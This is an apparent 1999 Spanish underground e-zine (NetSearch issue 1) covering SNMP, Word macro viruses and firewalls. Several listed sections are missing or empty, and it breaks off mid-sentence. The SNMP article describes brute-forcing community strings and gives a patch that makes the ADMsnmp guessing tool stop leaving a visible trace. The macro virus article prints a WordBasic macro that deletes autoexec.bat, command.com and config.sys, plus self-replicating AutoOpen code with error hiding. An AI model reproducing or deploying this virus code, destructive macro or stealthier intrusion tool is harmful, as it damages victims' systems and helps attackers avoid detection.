Documente Academic
Documente Profesional
Documente Cultură
"KNOWLEDGE IS POWER"
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
- WEB OFICIAL:
http://members.xoom.com/lynux (con Y de Yntel Ynside :)
- CANAL OFICIAL:
#netsearch, en el IRC-Hispano
- MAIL OFICIAL:
netsearch@hushmail.com
- DISTRIBUIDORES OFICIALES:
http://members.xoom.com/lynux
(De momento ninguno mas, si os animais mandad un mail
diciendonoslo y saldra aqui)
- LLAVE PGP OFICIAL:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.0.2i
mQGiBDdNtK8RBADmtbXlNKi+UO3lcGNh+aYC3YSWxpEN8mQNw1GNFPafO7Ftmrgm
6Hhb3JLvcbKks4q9yFXK58wmavHWWpSY+9NNKSl+kvePhvQ4yfG8x+fQLuUAYPJB
0XTAsO8diSs0PvpvyLVw2prOHeYJCM1BUN/WNA5oio6tXK3oUIQq0rTndQCg/zy7
xSjIpPpc4ZqXJ6PHPZKAgbcD/3CSW6G6BFubj6pF/Wk4UMpx53ZjdyuPJ2iRvR9S
im4gGsRZfSFQEc2eWc5xb75LO/E50FZTVNQozIYrPfTYPake4T/Y9SA6wPfXF3Nq
0ZD/tzwGcdi2SdzyYLS2jHThkV5UVLyXTwzvK7vAbPJLF/83eUgwvMGoZkRHkeB/
PJ9jA/4gkkt4pEouNQmKmUdp9vWEatiA6Ext61rERcpfo88XDGwrcnb6Mv+VOc02
XUe48tZHlkjyEiB7ifAQs/omFx4VLvhpSnJwM6uamuzNXceNlcrl5OVk2LeC5uTA
p/nQRbU8IqtZ1zxf5Gw5ZDsvv83c4Iq+HtzVZjgiIESo9Nac5rQiTmV0U2VhcmNo
IDxuZXRzZWFyY2hAaHVzaG1haWwuY29tPokASwQQEQIACwUCN020rwQLAwIBAAoJ
EPVhoR6NPrDn9AQAoOJOScrhApVlxNd3160jstjNF+RDAJ4/jWftDyIGQaFaSAR0
Wa7LgjVJYLkCDQQ3TbSvEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDa
AadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z
4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBY
K+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WM
uF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmW
n6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+J1V8az258WwN
oq94skl6hgk0nH8spoP+gLHqtVJFwb1zM1O+dwJHSiiEGkwpY72rOijQcbghJ4XF
SNZMIKgqMsVakQRQhoagQ+vrWEGZpZxD42GQX63eJyKgsp6ihcez+arKKScm5NF0
xmkB2un65H3hVjv7gD1g9TyRbIbcqvSmQkEZ5ll+xAMx4gmgziBrrfPoGYBpqAhZ
IfFSIJDruJQSzPtPJpeZelHfeJvAMeLkKVBxT+Mgwftf91o8X/pU7BzhF/NjdsaA
Gu16yjq3AI6+Wn6ovR8pF87VrviiI+vyf82YXmvuVjhpW1qEhGRwTGFdWxE6c4iQ
BhAHgAuz44kARgQYEQIABgUCN020rwAKCRD1YaEejT6w58kRAKCvCnP3pzN64IOF
HgCtgNhYwXNzIQCeIKD1tbTqiBYZVFBG9mVdKhkPOGw=
=PjV/
-----END PGP PUBLIC KEY BLOCK-----
- COLABORACIONES:
* Ulandron (UnderSec)
* DarK FeaR
* MegadetH
* }Moeb|uZ{
* RaiSe
* cafo
* [LsD]-MT (Traduccion del e-zine a formato HTML)
- SALUDOS:
* - J.J.F. / HACKERS TEAM -
* SET
* UnderSec / NGS Team
* A la pea del #hacker_novatos
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
+ INDICE:
+----------------------------------------------------------------+
| TITULO AUTOR |
|----------------------------------------------------------------|
| |
| + Editorial <--------------------------------------> DarK FeaR |
| |
| + NetSearch al Habla <-----------------------------> NetSearch |
| |
| + Introduccion al SNMP <---------------------------> Ulandron |
| |
| + Curso de Pascal (I) <----------------------------> DarK FeaR |
| |
| + Iniciacion a los Virus de Macro (I)<-------------> }Moeb|uZ{ |
| |
| + Breves sobre Internet Firewalls <----------------> MegadetH |
| |
| + Sniffers <---------------------------------------> RaiSe |
| |
| + Criptografia <-----------------------------------> cafo |
| |
| + Correo Fresco <----------------------------------> Lector@s |
| |
| + Llaves PGP <-------------------------------------> NetSearch |
| |
| + Despedida <--------------------------------------> NetSearch |
| |
+----------------------------------------------------------------+
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ EDITORIAL
Hola. Bienvenidos a este nuevo e-zine que nace un esplendido dia de mayo
:), esperando poder codearse con los maestros de la scene, lease JJF y SET ;).
Bueno, me presento, soy DarK FeaR, editor de [ The NetSearch E-Zine ]. Y os
preguntareis, que c** es NetSearch ?. Pues bien, NetSearch no es ningun
grupo en si, en realidad nacio como un canal en el IRC-Hispano. Pero se han
ido creando mas y mas cosas a su alrededor (una lista de correo, por ejemplo)
y creemos que ha llegado el momento de crear un e-zine con el proposito de
aprender unos de otros y de aportar algo mas de informacion y documentacion al
"hack" hispano.
En este e-zine se trataran temas relacionados con:
+ Seguridad informatica
+ Hack
+ Phreak
+ Cracking
+ Virii
+ IRC
+ Programacion
+ Sistemas operativos (y cuando digo SOs quiero decir SOs de verdad ;)
+ Etc, etc., etc... (todo lo que este relacionado con temas "under")
Ah, y que sepais que este e-zine esta abierto a aceptar colaboraciones
externas de lector@s, asi que si teneis algun texto por ahi y no sabeis
donde enviarlo, aqui sera bien recibido. A partir de ahora las
colaboraciones se haran imprescindibles, no os lo penseis dos veces.
[ NOTA: Los que querais escribir algun articulo para que sea publicado
unicamente debe seguir estos requisitos:
+ Estar escrito como maximo a 78 columnas
+ NO contener acentos, ni caracteres 8-bit, exceptuando nuestra querida ee.
Y ya esta. Yo creo que son faciles de cumplir no? :) ]
Y, dicho esto, solo me queda dejaros con el e-zine. Pero antes, un par de
direcciones de e-mail. Si quereis mandar algun articulo para que lo
publiquemos en el e-zine, la direccion de correo es netsearch@hushmail.com.
Por otra parte, todo aquel que quiera puede suscribirse a nuestra lista de
correo, netsearch@onelist.com, donde se trataran preguntas de la misma
tematica que las del e-zine. De momento somos 91 subscritos, y la lista esta
moderada por Sp4rK (hola Sp4rK :) y por mi.
Venga, disfrutemos de la informacion.
- El Editor - (esto me suena... ;)
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ NETSEARCH AL HABLA
Bueno, en esta seccion se trataran temas relacionados con el mundillo de
NetSearch, como pueden ser propuestas para algo, colaboraciones, anuncios,
etc. Este mes os hablaremos del concurso del RC5, del que seguramente ya
habreis oido hablar.
Para los que todavia no lo sepais, el reto del RC5 es un concurso
llevado por distributed.net. El concurso tiene relacion con una ley de los
Estados Unidos que prohibe las claves de cifrado que superen un numero de
bits. Bien, pues este numero, que las autoridades creen irrompible, en poco
tiempo no valdra para nada, con la consecuente perdida de seguridad que esto
comportara. En este concurso se intenta, con la ayuda de la gente, romper
ACTUALMENTE ese numero de bits para que las autoridades norteamericanas
modifiquen esa inutil ley.
Y algunos diran, bueno, y a mi que me importa, yo no vivo en USA....
Bueno, pues resulta que para el que lo consiga hay un premio de una cantidad
de dolares bastante grande. Ademas, existe otro motivo por el que la gente
participa. En el reto, el cliente que cada participante ejecuta en su maquina
va rompiendo bloques de 2^28 a 2^31 llaves (dependiendo de la maquina). Y como
no podria ser de otra forma, gracias a las cualidades de la "raza humana" :),
han empezado los piques entre unos y otros para ver quien rompe mas bloques.
Bien, por si no os habiais enterado ya, hay muchos grupos hispanos que
estan participando en el reto, entre ellos - J.J.F / HACKERS TEAM -, SET y,
como no, nosotros ;) Desde aqui hacemos un llamamiento a que os afilieis a
nuestro equipo, a ver si logramos superar a los anteriormente nombrados ;)
Para el que le interese, que vaya a la pagina de NetSearch
(http://members.xoom.com/lynux) y que siga las instrucciones en la seccion
dedicada a este tema, RC5. Para los mas directos, el numero de identificacion
de NetSearch en el reto es el 11007.
Ala, que rompais mucho ;)
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+ INTRODUCCION AL SNMP
INTRODUCCION AL SNMP
--------------------------------------
ulandron, 1999 Undersec / NGS Team
Introduccion
------------
Este texto pretende ser una pequea introduccion al protocolo
snmp, a sus utilidades, al igual debe servir para destacar sus ventajas
y defectos. Y digo pequea porque el tema del snmp da como para llenar
varios libros, que indudablemente no es mi objetivo. Pero no te
preocupes, ya que se incluyen suficientes enlaces para que puedas
profundizar en el tema. Y si tiene el texto tiene una buena aceptacion
estare encantado de escribir otro, complementando y expandiendo este.
Lo que me ha motivado a escribir este texto es la falta de documentacion
en castellano que existe sobre el tema.
Descripcion
-----------
El Simple Network Management Protocol es usado principalmente
para monitorizar y controlar el status de dispositivos conectados a
internet, en especial routers, aunque se puede usar en cualquier tipo de host
que permita correr el snmpd. Ha sufrido numerosos cambios en los
ultimos aos, cambios que intentare tratar con mas o menos profundidad a
lo largo del texto, pero quiero dejar claro que el objetivo del texto son
las siguientes versiones:
SNMPv1: La primera version del protocolo. Vease rfc 1157.
SNMPv2C : Autentificacion basada en los llamados "community strings".
SNMPv2U : " " orientada a usuarios.
REF: RFC's 1901, 1905, 1906, 1909, 1910.
Aparte de estas existen otras versiones, con mayor o menor grado de
aceptacion:
SNMPsec: Es una version poco aceptada / conocida, implementa una
seguridad mucho mas fuerte. RFC's 1351,1352, 1353.
SNMPv2p : En esta version se introdujeron muchas mejoras, pero es anterior
a las 2C & 2U.
SNMPv2* : La version mas avanzada del SNMPv2, combina lo mejor de todas
las anteriores. Nunca se publicaron RFC's al respecto.
SNMPv3 : La mas nueva e interesante, es el estandar de SNMP del futuro.
Una lastima que todavia no haya suficiente informacion sobre esta nueva
version como para escribir un articulo.
Es en principio una tipica aplicacion cliente-servidor, donde el
servidor(el agente de snmp) presenta informacion acerca de si mismo en un
arbol jerarquico, informacion como el nombre del administrador, de la
maquina, las configuraciones de sus tarjetas de red, etc...
El servidor de snmp, el snmpd, usa para la comunicacion con el cliente
(el llamado manager) el protocolo udp, y generalmente escucha en los
puertos 161 y 162 (este ultimo para el snmptrapd, que explicare a
continuacion).
Traps son paquetes enviados por el agente para informar de acontecimientos
inusuales en su entorno, ya sea un reboot, que haya demasiado trafico en
la red, un router que deja de responder, por poner unos ejemplos. Son la
excepcion a la regla que expongo en el siguiente parrafo, ya que los envia
el agente sin haberlos solicitado previamente el manager.
Para solicitar informacion del agente(el servidor, por ultima vez),
el manager emplea un mecanismo denominado get-request(no se me ha ocurrido
ninguna traduccion logica), a lo que el agente responde con un (logico)
get-response.
Toda la informacion del agente se guarda en una base de datos denominada
Management Information Base(MIB), formando una estructura de arbol, y
presentada en forma de objetos, siendo la raiz el nodo .iso.
Un ejemplo de una rama seria por ejemplo el siguiente:
system.sysContact.0 = "Ulandron"
Esto en realidad no es un buen ejemplo, porque no muestra toda la
estructura del objecto, con todos los nodos descendiendo hasta el .iso
Pero sirve para hacerse una idea de como funciona.
El ejemplo especifica el objeto escalar .sysContact (escalar porque solo
puede adoptar un valor en un determinado instante), del nodo system (el
system puede tener varios nodos, como serian el .sysName, el .sysLocation
etc etc..), cuyo valor es "Ulandron".
Al no tener un "." delante del system, se especifica que es
un nodo relativo, es decir, que se nos oculta una parte del nodo que es
comun a todos los objetos de ese sub-nodo, que seria el system. Esto usa
una filosofia similar a la configuracion de los Servidores de nombre, en
los cuales puedes omitir el nombre de dominio si no terminas el nombre del
host en punto, con lo que el dns lo completa automaticamente. Pero no me
quiero ir por las ramas.
Otros ejemplos de objetos pertenecientes al nodo system serian:
system.sysName.0 = "localhost" /* El nombre del host */
system.sysUpTime.0 = Timeticks: (45584) 0:07:35 /* El tiempo que lleva
encendido */
system.sysDescr.0 = "Linux version 2.2.2 (root@localhost) (gcc version
2.7.2.1) #5 SMP Tue Feb 16 22:44:54 CET 1999" /* La descripcion */
Como puedes ver en todos se omite el "." al principio, con lo que el
programa se encarga de anteponer el .iso.org.dod.internet....
Pasemos a otro tema: Como se decide quien puede y quien no puede
ver/cambiar en esta base de datos llena de informacion util.
Inicialmente se usaba un metodo de autentificacion (bastante gracioso por
cierto) que se basaba en community strings. Esto son una especie de claves
(sin nombre de usuario) que asignas a un determinado acto, que puede ser
unda de dos: leer o escribir a la MIB.
Es decir, una vez que habias adivinado el community string, tenias acceso
total a la base de datos, pudiendo leer de la misma, cambiarla u hacer
otras cosas interesantes que comentare en el siguiente apartado.
Y lo mas gracioso es que el manager envia la clave al agente sin
encriptar, en plain text, con lo que eso conlleva. Mas sobre SNMP sniffer
en el proximo apartado.
Por cierto, los community strings por defecto son "public" y "private".
Esto era asi en el SNMPv1.
Posteriormente en SNMPv2 se discutieron varios modelos de autentificacion,
empezando con uno basado en listas de control de acceso, en el cual los
derechos que tiene cada manager sobre el agente se basan es su direccion
ip, en diversas claves de autentificacion, en la accion solicitada por el
manager (get o set), etc...
Pero una vez mas este modelo esta anticuado, y se ha pasado a otro modelo
denominado USEC, User based Security Model, mejorando considerablemente la
autentificacion, control de acceso y privacidad de todo el sistema.
Utilidad practica
-----------------
Estoy seguro que se ya se esta acabando tu paciencia en lo que a
teoria respecta, y que tienes ganas de verle una utilidad practica a
esto. Pues adelante, dejame introducirte en las aplicaciones practicas de
todo este rollo.
Como ya he mencionado el snmp se basa en un servidor (agente), el snmpd,
del que ya he hablado suficiente.
Para el cliente existen varias herramientas. Normalmente un administrador
de red tendra su bonita interfaz grafica de Microsoft(r), con la que se
sentira el rey y no tendra ni que saber lo que significa SNMP, solo que
con ese programita puede consultar datos de los hosts de su red, y en caso
de que haya algun problema llamar al jodido loco que se encarga de
administrar las maquinas esas raras que no traen ni portaminas por
defecto, creo que se llamaban unix o algo asi. Brrrrr.
Pero como tu no eres uno de estos (ya que si no no hubieras leido hasta
aqui), voy a pasar a comentar un poco algunos de los programas que se
pueden usar para conocer mas sobre el protocolo y por consiguiente sobre
la maquina que lo implementa.
Las utilidades basicas para trabajar con una MIB a la que tengas acceso,
son las siguientes:
snmpget
-------
Este programa sirve para obtener informacion de la base de datos, mediante
las get-requests que he mencionado mas arriba.
snmpget [-p <puerto>] host community nombre-de-varialbe [variable]...
ej:
localhost:/root # snmpget localhost public system.sysContact.0
system.sysContact.0 = "Ulandron"
snmpset
-------
Programa que se puede usar para modificar el contenido de la base de
datos.
snmpset [-p puerto] [-d] [-r reintentos] [-t timeout] host
community nombre-de-variable tipo valor [variable tipo valor]...
opciones:
-p puerto -- especifica el puerto (161 por defecto)
-t timeout -- Tiempo de espera
-r reintentos-- Reintentos
-d -- Mostrar paquetes (dump)
Son posibles los siguientes tipos: i, s, x, d, n, o, t, a
i: INTEGER, s: STRING, x: HEX STRING, d: DECIMAL STRING
n: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS
ej:
localhost:/root # snmpget localhost public system.sysContact.0
system.sysContact.0 = "Ulandron"
localhost:/root # snmpset localhost public system.sysContact.0 s NiteBlade
system.sysContact.0 = "NiteBlade"
system.sysContact.0 = "NiteBlade"
localhost:/root # snmpget localhost public system.sysContact.0
system.sysContact.0 = "NiteBlade"
Estos datos ademas se guardan (al menos en mi implementacion, CMU-SNMP) en
un archivo en el hosts, que en mi caso es el archivo de configuracion:
/etc/snmpd.conf
snmpwalk
--------
Programa muy util para examinar una base de datos, sin tener que pedir
cada variable una a una.
snmpwalk [-p <puerto>] host community [variable]
ej:
localhost:/root # snmpwalk localhost public system
system.sysDescr.0 = "Linux version 2.2.1 (root@localhost) (gcc version
2.7.2.1)
#5 SMP Tue Feb 16 22:44:54 CET 1999"
system.sysObjectID.0 = OID: enterprises.tubs.ibr.linuxMIB
system.sysUpTime.0 = Timeticks: (64074) 0:10:40
system.sysContact.0 = "Ulandron"
system.sysName.0 = "localhost"
....
snmpnetstat
-----------
snmpnetstat hostname community [-airsn] [-I interfaz] [-p protocolo]
[intervalo]
opciones:
-a : informacion de todos los sockets
-i : idem de las interfaces
-r : Mostrar la tabla de enrutamiento
-s : Estadisticas ordenadas por protocolo
-n : Mostrar direcciones numericas
ej:
localhost:/root # snmpnetstat localhost public -i
Name Mtu Network Address Ipkts Ierrs Opkts
lo0 3924 none none 3568576 25575 0
eth0 1500 none none 0 0 0
sit0* 1480 none none 0 0 0
.......
snmptest
--------
Util para depurar problemas con el snmp
snmptest host community
ej:
localhost:/root # snmptest localhost public
Please enter the variable name: system.sysContact.0
Please enter the variable name:
Received GET RESPONSE from 127.0.0.1
requestid 0x2 errstat 0x0 errindex 0x0
system.sysContact.0 = "Ulandron"
Estas son las utilidades que vienen con la distribucion del snmp por
defecto, y que son suficientes si conoces el community string. El problema
surge si desconoces dicho string, porque no podras acceder a la base de datos.
Para descubrirlo tienes muchas opciones:
Instalar un sniffer.
Si tienes acceso a la red puedes instalar un sniffer para snmp, siempre
que el entorno te lo permita (smart switching hub's, etc.) y que se use
el SNMPv1, ya que el v2 encripta la clave. Te preguntaras pq poner un
sniffer para esto pudiendo instalar uno normal y corriente. Imaginate que
usan ssh para el login, https para los servidores web, tuneles seguros
para pop, etc etc etc. Aunque si te encuentras a gente asi, seria muy
raro que descuidasen sus agentes de snmp, pero quien sabe.
Por supuesto los sniffers sirven para depurar problemas con el snmp, y
para aprender mas sobre el mismo.
Esto son el tipo de paquetes que genera el snmp (tcpdump).
17:19:41.232999 cloud.1042 > localhost.snmp: GetRequest(19)
.iso.org.dod[|snmp]
/* Cloud establece una conexion desde su puerto 1042 al agente snmp en el
puerto 161, mandando un getrequest */
17:19:41.233385 localhost.snmp > cloud.1042: GetResponse(17) [|snmp]
/* Localhost responde con un Getresponse, que contiene los datos pedidos, o el
error correspondiente si no los puede facilitar por una razon u otra */
Otra manera es intentar adivinar el community string a lo bestia, para
ello existe un un pgroma de ADM llamado ADMsnmp (original ehhh), al que le
das un diccionario para que pruebe, ademas de crear variaciones del nombre
del host para intentarlo. El programa tiene un pequeo efecto secundario
desagradable, y es que si consigue conectar con el objetivo cambia el
objeto system.sysName.0 a "ADMsnmp", lo cual da mucho el cante.
El problema es un error en el fuente por lo que puedo ver. Si esto no es
asi ruego se me corrija.
El parche esta al final del documento. Tambien aade un "\n" a la ultima linea
de la ayuda, queda mejor ;).
Por ultimo, para quien no le haya quedado claro la utilidad de todo esto:
Mediante el snmp puedes obtener informacion valiosisima sobre un host,
como son las interfaces de red, las tablas de encaminamiento, datos del
sistema operativo, etc etc etc.
Puedes reiniciar la maquina, puedes cambiar las variables adaptandolas a
tu proposito, ...
Incluso en algunas situaciones puedes ejecutar programas en el host, con
lo que esto implica.
Si veo que el texto tiene buena aceptacion me currare una nueva version,
mas tecnica, con detalles sobre el snmpv3, aplicaciones practicas mas
precisas etc....
Todos los programas de mecionados en este texto se encuentran en el zip
ajunto, al igual que otros archivos de interes para el novicio de snmp.
[ NOTA: El zip del que habla Ulandron lo podeis encontrar en el site
de UnderSec, http://www.undersec.com ]
Ulandron
ulandron@undersec.com
http://www.undersec.com
-------------------------------------------------------------------------
Queda prohibida cualquier reproduccion parcial o total de este texto,
ya sea en medio electronico, escrito..., sin la autorizacion
previa del autor.
-------------------------------------------------------------------------
<---- CUT HERE ---->
--- snmp.c Wed Feb 17 08:20:05 1999
+++ snmp-fixed.c Tue Mar 9 17:57:43 1999
@@ -309,7 +309,9 @@
req_makepktsnmp (int sock, char *buf, int sizeofbuf, char *namez, int id, struc
t sockaddr_in *sin)
{
/** system.sysName.0 :> **/
+
u_char sysdec[] = "\x30\x10\x30\x82\x0\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x0
5\x00\x05\x00";
+
return (makepktsnmp (sock, (u_char *) & sysdec, sizeof (sysdec), buf, sizeofb
uf, namez, id, sin, 0));
}
@@ -322,7 +324,7 @@
{
int i;
u_char *save;
- u_char sysdec[] = "\x30\x10\x30\x82\x0\x09\x06\x08\x2b\x06\x01\x02\x01\x01\x0
5\x00";
+ u_char sysdec[] = "\x30\x10\x30\x82\x0\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x0
5\x00\x05\x00";
save = (u_char *) calloc (1, sizeof (sysdec) + strlen (namez) + 2);
@@ -544,7 +546,7 @@
"[-waitfor] <mili> : time in milisecond in each send of snmprequest\n"
"[-sleep] <second> : time in second of the scan process life\n"
"[-manysend] <number>: how many paket to send by request \n"
- "[-inter] <mili> : time to wait in milisecond after each request");
+ "[-inter] <mili> : time to wait in milisecond after each request\n");
}
int
<---- CUT HERE ---->
==============================================================================
------------------------------------------------------------------------------
==============================================================================
Program Esquema;
Uses Crt;
Const
[ declaracion de constantes ]
Var
[ declaracion de variables ]
Begin
[ cuerpo del programa ]
End.
Program Hola_Mundo;
Uses Crt;
Begin
writeln('Hola Mundo!'); { Esta orden indica que se imprima una cadena de
texto, se encuentra en la libreria Crt }
End.
==============================================================================
------------------------------------------------------------------------------
==============================================================================
1.- Introduccion
2.- Replicacion
3.- Stealh
4.- BoMbas
5.- EjeMplo: Pezquein.doc
6.- DisclaiMer
-----[ Introduccion
Los llaMados virus o troyanos de Macro son virus que se codifican en
aplicaciones coMo Word o Excel, que utilizan dichas Macros para autoMatizar
ciertas tareas.
Son virus realMente faciles de crear y de extender, pero si realMente te
interesa el Mundo del viriing, aprende a escribir virii en ensaMblador.
DigaMos que escribo esto para conocer el funcionaMiento de este tipo de virus.
Estan escritos en el lenguaje que utilize la aplicacion para la que son
creados, norMalMente Visual Basic para Aplicaciones (VBA) o, en el caso del
Word, en Word Basic (WB). AMbos lenguajes son Muy parecidos (realMente el WB
es una version de Visual Basic especifica para esta aplicacion) , pero no es
objeto de este articulo aprender a prograMar en estos lenguajes, sino estudiar
algunas tecnicas viricas para dichos lenguajes.
Por ser los Mas coMunes, voy a coMentar los virus de Word, aunque el
MecanisMo es el MisMo para todas las aplicaciones.
El Word Basic es un lenguaje interpretado, bastante sencillo, y tiene la
particularidad de que sus instrucciones estan en el MisMo idioMa que el propio
Word. Asi, si codificaMos un virus para el Word en castellano, si es ejecutado
en un Word en ingles nos dara un Mensage de error. Si eres un poco habil,
deberias ser capaz de solucionar este probleMa para hacer un virus Multilingue
;-) . De todas forMas, hay Muchas ordenes que son independientes del idioMa,
por lo que un buen objetivo seria escribir un virus utilizando unicaMente este
tipo de ordenes.
Las Macros en Word se encuentran en las plantillas (*.dot). Cuando creas
un docuMento nuevo, lo norMal es que este docuMento se abra por defecto con la
plantilla global NORMAL.DOT, aunque se puede abrir con una plantilla diferente
si se desea. Estas plantillas son las que traen el forMato con el que se
inicia el docuMento.
Para crear un docuMento que contenga Macros, solo hay que crear un
docuMento, y guardarlo plantilla (.dot), y no coMo docuMento (.doc) Una vez
hecho esto, el docuMento ya podra contener Macros. Hay que tener en cuenta que
se puede renoMbrar el archivo, y pasarlo otra vez a .DOC, conservando asi las
propiedades de plantilla y las Macros que contenga. TaMbien se podria crear un
docuMento nuevo, basado en una plantilla infectada, pero en este caso, a mi
parecer, no es el Mas apropiado, puesto que depende ya de otro archivo.
Hay 5 Macros autoMaticas , que son basicas ( bueno, eso no es realMente
cierto ;-) ) para la creacion de virus (aunque no de "cartas boMba"), ya que
el fin ultiMo de un virus es reproducirse. Estas Macros son:
AutoExec: Una Macro con este noMbre se ejecutara cada vez que se arranque el
Word.
AutoOpen: Se ejecuta cada vez que se abre el docuMento.
AutoClose: Se ejecuta cada vez que se cierra el docuMento.
AutoNew: Se ejecuta cada vez que se crea un docuMento nuevo.
AutoExit: Se ejecuta al salir de Word.
No hace falta decir que estas macros autoMaticas se llaMan asi en todas
las versiones de Word.
CoMo cabe esperar, si una plantilla global (lease NORMAL.DOT) contiene
una Macro autoMatica, todos los docuMentos que se abran con esa plantilla
provocaran la ejecucion de dichas Macros. Esta es una de las cosas Mas
iMportantes a tener en cuenta para escribir virus de Macro.
-----[ Replicacion
-----[ Stealth
En Word hay dos Maneras de acceder a un Menu donde podeMos ver, editar o
eliMinar las Macros de un docuMento:
Mediante el Menu HerraMientas/Macros ..., donde se pueden editar (en caso
de no ser solo-ejecutables) , y eliMinar.
Dentro de este cuadro de dialogo hay un boton (Organizador ...) que nos
Muestra otro cuadro donde se puede copiar Macros de un docuMento a otro o
eliMinar.
La otra forMa es a traves de Archivo / Plantillas ... , donde taMbien es
accesible el Organizador.
Hay Muchas forMas de ocultar esto, y asi evitar el acceso a nuestras
Macros viricas. PodriaMos desactivar estos Menus, eliMinarlos , incluso
eMularlos ... se creativo.
-----[ BoMbas
Las boMbas pueden hacerse taMbien de Muchas forMas. Una de ellas es crear
una Macro en un docuMento, y asignarle unas teclas rapidas de ejecucion.
Por ejemplo,
Sub MAIN
FijarAtributos "c:\autoexec bat" ,0
FijarAtributos "c:\command com",0
FijarAtributos "c:\config sys",0
Kill c:\autoexec bat"
Kill "c:\command com"
Kill "c:\config sys"
End Sub
Para terMinar, aqui va un pequeo ejeMplo de VBA virus Muy sencillo, para
entender lo explicado anteriorMente. TeneMos un docuMento infectado, llaMado
pezquein.doc ue contiene la siguiente Macro llaMada AutoOpen:
Sub MAIN
MacroCopiar NombreVentana$() + ":infeccion" , "Global:AutoOpen" , 1 ' Copia la
'Macro infeccion a la plantilla globlal con el noMbre AutoOpen, y en Modo solo
'ejecucion
MacroCopiar NombreVentana$() + ":AutoOpen" , "Global:infectado" , 1' Copia
' la Macro AutoOpen del docuMento infectado a
' la global con el infectado
End Sub
Sub MAIN
On Error Resume Next ' Esta linea sirve para que en caso de error continue sin
' Mostrar ningun Mensage de error
' que nos delataria, ya que en un lenguaje interpretado
' los mensages de error aparecen segun van apareciendo.
ArchivoGuardarComo .Formato = 1 ' Guarda el archivo abierto con el formato
' de plantilla ( Nota: esto en un virus
' real no seria viable, ya que guardaria
' cualquier archivo en ese forMato,
' incluido un docuMento de solo texto,
' por ejeMplo, nota.txt)
MacroCopiar "Global:AutoOpen" , NombreVentana$() + ":infeccion" , 1 ' Copia
' AutoOpen de la global al docuMento con el noMbre
' infeccion
-----[ DisclaiMer
Este articulo esta escrito con fines puraMente educativos, para conocer
un poco Mas de lo que es capaz un ordenador, y a conocer los fallos que posee
para poder solucionarlos.
Recordar que un virus no es un pedazo de software creado para destruir
y/o irruMpir en Maquinas ajenas, sino que es un ingenio inforMatico que
deMuestra la posibilidad de crear una vida artificial capaz de reproducirse
por si MisMa y evitar ser eliMinada.
El autor no se hace responsable de los daos que algun insensato pueda llegar
a producir.
moebiuz@biogate.com
/^{M}^\
The flying eM
==============================================================================
------------------------------------------------------------------------------
==============================================================================
TIPOS DE FIREWALL
Vamos a echar un vistazo a los tipos de firewalls mas comunes,hay dos
tipos basicos:
-Firewalls a nivel de red
-Firewalls a nivel de aplicacion
*Firewalls a nivel de red
Estos fires toman sus decisiones basandose en el analisis de los
paquetes que reciben (fuente,destino,direccion, puertos..)se pueden
configurar para que acepten o rechacen los paquetes que no nos interesan, por
ejemplo se pueden configurar para que rechacen los paquetes provenientes de
determinada red,o que bloqueen todos los paquetes de nuestra red con destino a
determinada red (listas negras). El ejemplo tipico es un router (Cisco) aunque
estos no ofrecen una solucion super segura ya que solo trabajan en el nivel de
red y transporte y no en todos los niveles del TCP/IP y ademas no tienen por
regla general mecanismos de alerta. Tambien se puede usar un ordenador
corriendo algun s.o. tipo Unix con el kernel correctamente configurado y
corriendo software de filtrado de paquetes. (Linux es una excelente y
economica solucion corriendo ipfwadm o ipchains). Esto esta siendo solucionado
en los ultimos modelos que ya incluyen informacion sobre el trafico, estado de
las conexiones, y algunas cosas interesantes como informacion sobre los
numeros de secuencia del TCP,ejemplo de esto son los Cisco Pix, Watchguard,
Checkpoint FW-1 o un ordenador corriendo openBSD con ip-filter.
Por otra parte,son rapidos y transparentes al usuario de la red interna.
*Firewalls a nivel de aplicacion
Suelen ser hosts corriendo proxies servers,los cuales no pemiten el
trafico directo entre dos redes,es decir la red interna no se conecta con
Internet,el proxy transmite de una red a otra una copia de cada paquete
aprobado (salida o entrada)y se pueden usar por ejemplo,para controlar los
servicios que se desea ofrecer. Hay que tener en cuenta que al usar un proxy a
nivel de aplicacion los usuarios deben usar un cliente que permita trabajar
con proxy,y hay que usar un servidor proxy para cada servicio.
Suelen proporcionar metodos sencillos de "log" y registro de trafico.
Dos de los paquetes mas populares para Unix (Linux inclusive)son el TIS
firewall toolkit y el SOCKS,y para NT el IIS y el Netscape Commerce Server
incluyen proxy servers.
Es mas seguro que el firewall a nivel de red,pero puesto que es un programa el
que analiza y reenviaes algo mas lento.
Hay una variante de este tipo conocida tambien como *Firewalls a nivel de
circuito,bien,este es exactamente igual al fw a nivel de aplicacion salvo que
no se requiere usar aplicaciones especificas para el proxy,creando un circuito
entre la aplicacion y el servidor proxy y usando un solo servidor proxy para
todos los servicios.
ALGUNAS ARQUITECTURAS
Despues de ver los tipos mas comunes de firewalls vamos a ver ahora
algunas de las implementaciones de estos. Los tres tipos mas usados son:
-Simple Host Bastion (host con dos interfaces de red y filtro de paquetes)
-Host de doble conexion (host con dos interfaces de red separados y proxy)
-Filtrado de host (combinacion de router y host bastion)
-Filtrado de subred (combinacion de 2 routers y proxy)
*Simple Host Bastion
Aunque normalmente son usados en conjunto con mas dispositivos, esta
forma simple de firewall,aun es usada por multitud de personas,(asi como el
colocar un router con una serie de ACLs solo),consiste en un ordenador
con dos interfaces (uno a cada red)y software de filtrado y analisis de
